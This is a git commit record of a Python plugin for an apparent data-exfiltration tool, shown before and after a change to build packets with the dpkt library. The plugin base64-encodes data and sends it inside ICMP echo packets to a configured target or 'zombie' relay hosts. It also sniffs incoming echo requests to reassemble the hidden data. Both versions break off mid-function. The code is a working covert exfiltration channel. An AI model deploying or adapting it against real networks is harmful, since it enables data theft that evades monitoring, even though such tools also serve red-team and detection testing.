<commit_before>import logging
import base64
import socket
from struct import pack
from random import choice

config = None
app_exfiltrate = None

# http://wiki.dreamrunner.org/public_html/Python/Python-Things.html
def checksum(source_string):
    sum = 0
    countTo = (len(source_string)/2)*2
    count = 0
    while count<countTo:
        thisVal = ord(source_string[count + 1])*256 + \
                ord(source_string[count])
        sum = sum + thisVal
        #sum = sum & 0xffffffff
        count = count + 2
    if countTo<len(source_string):
        sum = sum + ord(source_string[len(source_string) - 1])
        #sum = sum & 0xffffffff
    sum = (sum >> 16)  +  (sum & 0xffff)
    sum = sum + (sum >> 16)
    answer = ~sum
    answer = answer & 0xffff
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer
# end of copy-paste

def send_icmp(dst, data):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except:
        print "root power you must have !"
        sys.exit()
    ip_dst = socket.gethostbyname(dst)
    icmp_type = 8
    icmp_code = 0
    icmp_sum  = 0
    icmp_id   = 1
    icmp_seq  = 1
    icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq)
    icmp_sum = checksum(icmp_hdr + data)
    icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq)
    packet = icmp_hdr + data
    try:
        s.sendto(packet, (ip_dst, 0))
    except:
        pass
    s.close()

def send(data):
    targets = [config['target']] + config['zombies']
    data = base64.b64encode(data)
    target = choice(targets)
    app_exfiltrate.log_message(
        'info', "[icmp] Sending {0} bytes with ICMP packet to {1}".format(len(data), target))
    send_icmp(target, data)

def listen():
    app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..")
    # Filter for echo requests only to prevent capturing generated replies
    sniff(handler=analyze)

def sniff(handler):
    """ Sniffs packets and looks for icmp requests """
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    sock.bind(('', 1))
    while True :
        try:
            data = sock.recv(65536)
            ip_ihl = ord(data[:1]) & 0x0f
            ip_hdr = data[:(ip_ihl)*4]
            icmp_data = data[(ip_ihl)*4:]
            icmp_type = icmp_data[:1]
            if icmp_type == '\x08':
                ip_src = socket.inet_ntoa(ip_hdr[-8:-4])
                ip_dst = socket.inet_ntoa(ip_hdr[-4:])
                payload = icmp_data[4:]
                handler(payload, ip_src, ip_dst)
        except:
            sock.close()

def analyze(payload, src, dst):
    try:
        app_exfiltrate.log_message(
            'info', "[icmp] Received ICMP packet from {0} to {1}".format(src, dst))
        app_exfiltrate.retrieve_data(base64.b64decode(payload))
    except:
        pass

def relay_icmp_packet(payload, src, dst):
    target = config['target']
    try:
        app_exfiltrate.log_message(<commit_msg>Simplify ICMP plugin (using dpkt)<commit_after>import base64
import socket
from random import choice, randint
from dpkt import ip, icmp

config = None
app_exfiltrate = None

def send_icmp(dst, data):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except:
        app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges")
        sys.exit()
    ip_dst = socket.gethostbyname(dst)
    echo = icmp.ICMP.Echo()
    echo.id = randint(0, 0xffff)
    echo.seq = 1
    echo.data = data
    icmp_pkt = icmp.ICMP()
    icmp_pkt.type = icmp.ICMP_ECHO
    icmp_pkt.data = echo
    try:
        s.sendto(icmp_pkt.pack(), (ip_dst, 0))
    except:
        app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges")
        pass
    s.close()

def send(data):
    targets = [config['target']] + config['zombies']
    data = base64.b64encode(data)
    target = choice(targets)
    app_exfiltrate.log_message(
        'info', "[icmp] Sending {0} bytes with ICMP packet to {1}".format(len(data), target))
    send_icmp(target, data)

def listen():
    app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..")
    # Filter for echo requests only to prevent capturing generated replies
    sniff(handler=analyze)

def sniff(handler):
    """ Sniffs packets and looks for icmp requests """
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    sock.bind(('', 1))
    while True :
        try:
            data = sock.recv(65535)
            ip_pkt = ip.IP()
            ip_pkt.unpack(data)
            icmp_pkt = ip_pkt.data
            if icmp_pkt.type == icmp.ICMP_ECHO:
                ip_src = socket.inet_ntoa(ip_pkt.src)
                ip_dst = socket.inet_ntoa(ip_pkt.dst)
                payload = icmp_pkt.data.data
                handler(payload, ip_src, ip_dst)
        except:
            sock.close()

def analyze(payload, src, dst):
    try:
        app_exfiltrate.log_message(
            'info', "[icmp] Received ICMP packet from {0} to {1}".format(src, dst))
        app_exfiltrate.retrieve_data(base64.b64decode(payload))
    except:
        pass

def relay_icmp_packet(payload, src, dst):
    target = config['target']
    try:
        app_exfiltrate.log_message(
{'fraction_non_alphanumeric': 0.11753661284265865, 'fraction_numerical': 0.01595944423582426, 'mean_word_length': 2.57997311827957, 'pattern_counts': {'":': 0, '<': 7, '<?xml version=': 0, '>': 9, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 2, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2797216', 'n_tokens_mistral': 1913, 'n_tokens_neox': 1837, 'n_words': 418}